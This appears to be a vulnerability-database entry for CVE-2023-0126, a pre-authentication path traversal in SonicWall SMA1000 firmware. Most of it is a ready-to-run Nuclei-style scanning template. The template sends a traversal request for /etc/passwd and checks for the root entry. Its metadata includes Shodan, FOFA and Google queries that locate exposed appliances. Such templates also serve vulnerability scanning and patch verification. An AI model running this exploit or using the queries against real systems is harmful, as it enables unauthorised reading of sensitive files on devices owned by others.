CVE-2023-0126: SonicWall SMA1000 LFI

日期: 2025-08-01 | 影响软件: SonicWall SMA1000 | POC: 已公开

漏洞描述

Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.

PoC代码[已公开]

id: CVE-2023-0126

info:
  name: SonicWall SMA1000 LFI
  author: tess
  severity: high
  description: |
    Pre-authentication path traversal vulnerability in SMA1000 firmware version 12.4.2, which allows an unauthenticated attacker to access arbitrary files and directories stored outside the web root directory.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the affected device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0126
    - https://github.com/advisories/GHSA-mr28-27qx-phg3
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0001
    - https://github.com/Gerxnox/One-Liner-Collections
    - https://github.com/thecybertix/One-Liner-Collections
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-0126
    cwe-id: CWE-22
    epss-score: 0.92467
    epss-percentile: 0.99726
    cpe: cpe:2.3:h:sonicwall:sma1000:-:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: sonicwall
    product: sma1000
    shodan-query: title:"Appliance Management Console Login"
    fofa-query: title="appliance management console login"
    google-query: intitle:"appliance management console login"
  tags: cve2023,cve,sonicwall,lfi,sma1000

http:
  - method: GET
    path:
      - '{{BaseURL}}/images//////////////////../../../../../../../../etc/passwd'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - content/unknown

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a00463044022045fe758ab12529bde64acc148a912d48773d1dd98e452df81734289331914f7e0220468dd8066905ac5fcf6e2282768aa3831921c91f2b1c1ce7f371c076dd7aecdd:922c64590222798bb761d5b6d8e72950

相关漏洞推荐